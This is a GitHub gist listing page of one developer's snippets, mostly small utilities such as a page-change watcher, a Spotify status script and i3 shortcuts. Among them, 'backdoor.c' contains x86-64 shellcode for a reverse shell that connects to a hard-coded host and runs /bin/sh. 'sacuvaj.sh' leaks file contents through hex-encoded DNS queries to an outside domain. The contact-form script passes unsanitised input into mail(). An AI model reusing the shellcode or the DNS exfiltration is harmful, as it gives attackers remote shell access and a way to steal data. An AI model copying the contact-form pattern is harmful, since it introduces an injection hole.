Skip to content

Instantly share code, notes, and snippets.

Avatar

Nemanja Nedeljković nemanjan00

View GitHub Profile
View gist:cf51b9443c2e5e905fef
### Keybase proof
I hereby claim:
* I am nemanjan00 on github.
* I am nemanjan00 (https://keybase.io/nemanjan00) on keybase.
* I have a public key whose fingerprint is 25D8 70F5 7438 97C6 CDFB BB57 BC0B 0BE5 FA29 6268
To claim this, I am signing this object:
View cekanje.php
<?php
$len = strlen(file_get_contents("http://takprog.dms.rs/"));
while(strlen(file_get_contents("http://takprog.dms.rs/")) == $len){
sleep(60*5);
}
system("mplayer ~/Downloads/mps/Nuclear\ Alarm\ Siren\ -\ 10\ minutes\ \(World\ War\ III\).ogg");
?>
View PHP Encrypt
<?php
if(isset($_FILES["file"]["tmp_name"]) && isset($_POST["key"]) && isset($_POST["sid"])){
if(preg_match("/^[a-z]+$/", $_POST["key"]) == 1 && strlen($_POST["key"]) >= 8){
if(is_numeric($_POST["sid"])){
$sid = $_POST["sid"];
}
else
{
$sid = rand(1111,9999);
@nemanjan00
nemanjan00 / messages.js
Created Jun 23, 2015
Badoo chat messages
View messages.js
javascript:alert(document.getElementsByClassName("chat-message__author").length);
View contact-form.php
<?php
if(isset($_POST["name"]) && isset($_POST["email"]) && isset($_POST["message"])){ //proverava jesu li prosleđena sva tri argumenta
mail("nemanjan00@gmail.com", "Naslov", "Od: ".$_POST["name"]." <".$_POST["email"].">"."\n".$_POST["message"]); //mail(kome, naslov, sadržaj);
}
?>
View spotify-mpsyt.sh
album=`dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.freedesktop.DBus.Properties.Get string:'org.mpris.MediaPlayer2.Player' string:'Metadata'|egrep -A 2 "album"|egrep -v "album"|egrep -v "array"|cut -b 44-|cut -d '"' -f 1|egrep -v ^$`
artist=`dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.freedesktop.DBus.Properties.Get string:'org.mpris.MediaPlayer2.Player' string:'Metadata'|egrep -A 2 "artist"|egrep -v "artist"|egrep -v "array"|cut -b 27-|cut -d '"' -f 1|egrep -v ^$`
title=`dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.freedesktop.DBus.Properties.Get string:'org.mpris.MediaPlayer2.Player' string:'Metadata'|egrep -A 1 "title"|egrep -v "title"|cut -b 44-|cut -d '"' -f 1|egrep -v ^$`
mpsyt=`(pgrep mplayer | xargs ps -o command | grep -o -P '(?<=-title ).*(?= -noquiet)') | head -n 1 | cut -c1-40`
spotify="$artist - $title"
echo -n '#[fg=$tm_color_music]'
if [ ! -z "$title" -a "$t
View i3.txt
Super+X Zaključaj ekran
Super +Y Ugasi računar
Super+T Ugasi prozor
Super+D Otvori program
Super+Enter Otvori terminal
Super+Shift+Space Odvoji prozor
Super+Shift+Left/Right/Up/Down Pomeri prozor
Super+Number Ide na workspace sa tim brojem
View .github.example
local USERNAME=""
local PASSWORD=""
View sacuvaj.sh
sacuvaj () {
for b in $(cat "$@" | xxd -p); do dig +short $b."$@".sacuvaj.ga ; done
}
View backdoor.c
#include<stdio.h>
#include<string.h>
#include<netdb.h>
char code[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x20\xfb\xc0\xa8\x01\xf4\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
You can’t perform that action at this time.